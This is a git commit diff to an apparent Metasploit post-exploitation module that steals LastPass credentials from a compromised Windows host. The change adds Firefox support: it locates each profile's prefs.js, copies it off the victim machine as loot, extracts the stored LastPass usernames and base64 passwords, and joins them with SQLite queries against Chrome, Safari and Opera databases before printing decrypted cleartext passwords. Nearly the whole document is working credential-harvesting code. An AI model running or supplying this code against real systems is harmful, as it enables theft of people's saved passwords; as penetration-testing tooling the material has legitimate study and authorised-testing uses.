Add support for Firefox in XP

bug/bundler_fix
Martin Vigo 2014-10-06 02:23:54 -07:00
parent b15b05fa7b
commit 47794510c3
1 changed files with 79 additions and 14 deletions

View File

@ -1,6 +1,7 @@
require 'msf/core'
require 'base64'
require 'sqlite3'
require 'uri'
class Metasploit3 < Msf::Post
include Msf::Post::File
@ -28,7 +29,6 @@ class Metasploit3 < Msf::Post
print_status "Searching for LastPass databases..."
db_paths = database_paths # Find databases and get the remote paths
if db_paths.size == 0 # Found any database?
print_status "No databases found"
return
@ -36,27 +36,47 @@ class Metasploit3 < Msf::Post
print_status "Looking for credentials in all databases found..."
credentials = []
db_paths.each do |db_path|
if db_path =~ /Mozilla/ # Firefox
password_line = nil
# Read and store the remote preferences file locally
data = read_file(db_path)
loot_path = store_loot('firefox.preferences', 'text/javascript', session, data, nil, "Firefox preferences file #{db_path}")
# Parse preference file
user_line = password_line = nil
File.readlines(loot_path).each do |line|
user_line = line if (line['extensions.lastpass.loginusers'])
password_line = line if (line['extensions.lastpass.loginpws'])
end
# Extract usernames and passwords
user_line.match(/user_pref\("extensions.lastpass.loginusers", "(.*)"\);/) ? encoded_username = user_line.match(/user_pref\("extensions.lastpass.loginusers", "(.*)"\);/)[1] : encoded_username = nil
password_line.match(/user_pref\("extensions.lastpass.loginpws", "(.*)"\);/) ? encoded_password = password_line.match(/user_pref\("extensions.lastpass.loginpws", "(.*)"\);/)[1] : encoded_password = nil
credentials.push([URI.unescape(encoded_username), Base64.decode64(encoded_password)]) unless encoded_username.nil? || encoded_password.nil?
elsif db_path =~ /Explorer/ # Internet Explorer
else # Chrome, Safari and Opera
# Read and store the remote database locally
data = read_file(db_path)
loot_path = store_loot('lastpass.database', 'application/x-sqlite3', data, nil, "LastPass database #{db_path}")
loot_path = store_loot('lastpass.database', 'application/x-sqlite3', session, data, nil, "LastPass database #{db_path}")
# Parsing/Querying the DB
db = SQLite3::Database.new(loot_path)
query_result = db.execute("SELECT username, password FROM LastPassSavedLogins2 WHERE username IS NOT NULL AND username != '' AND password IS NOT NULL AND password != '';")
credentials = db.execute("SELECT username, password FROM LastPassSavedLogins2 WHERE username IS NOT NULL AND username != '' AND password IS NOT NULL AND password != '';")
end
query_result.each do |row| # Decrypt passwords
# Parse and decrypt credentials
credentials.each do |row| # Decrypt passwords
print_status "Decrypting password for user #{row[0]}..."
password = clear_text_password(row[0], row[1])
if password.blank?
print_error "Username: '#{row[0]}' (Password was not found/decrypted)"
else
print_good("Username: '#{row[0]}' -> Password: '#{password}'")
print_good("Username: '#{row[0]}' -> Password: '#{password}'") unless password.blank?
print_line ""
end
end
end
end
# Finds the databases in the victim's machine
@ -96,6 +116,17 @@ class Metasploit3 < Msf::Post
user_profiles.each do |user_profile|
print_status "Found user: #{user_profile['UserName']}"
# Check Firefox
print_status 'Checking in Firefox...'
profiles = profile_paths("#{user_profile['AppData']}\\Mozilla\\Firefox\\Profiles", "Firefox")
if profiles
print_good "Found #{profiles.size} profile files in Firefox"
profiles.each do |profile_path|
file_paths = ["#{profile_path}\\prefs.js"]
found_dbs_paths.push(file_paths) unless file_paths.nil?
end
end
# Check Chrome
print_status 'Checking in Chrome...'
path = "#{user_profile['LocalAppData']}\\Google\\Chrome\\User Data\\Default\\databases\\chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0"
@ -226,6 +257,40 @@ class Metasploit3 < Msf::Post
# Returns the profile path for Firefox
def profile_paths(path, browser)
found_dbs_paths = []
if directory?(path)
if session.type == "meterpreter"
files = client.fs.dir.entries(path)
files.each do |file_path|
found_dbs_paths.push(File.join(path, file_path).gsub("/","\\")) if file_path != '.' && file_path != '..'
end
elsif session.type == "shell"
files = session.shell_command("ls \"#{path}\"").split
files.each do |file_path|
found_dbs_paths.push(File.join(path, file_path).gsub("/","\\"))
end
else
print_error "Session type not recognized: #{session.type}"
return nil
end
end
if found_dbs_paths.size > 0
return found_dbs_paths
else
print_status "No profile paths found for #{browser}"
return nil
end
end
# Decrypts the password
def clear_text_password(email, encrypted_data)
return if encrypted_data.blank?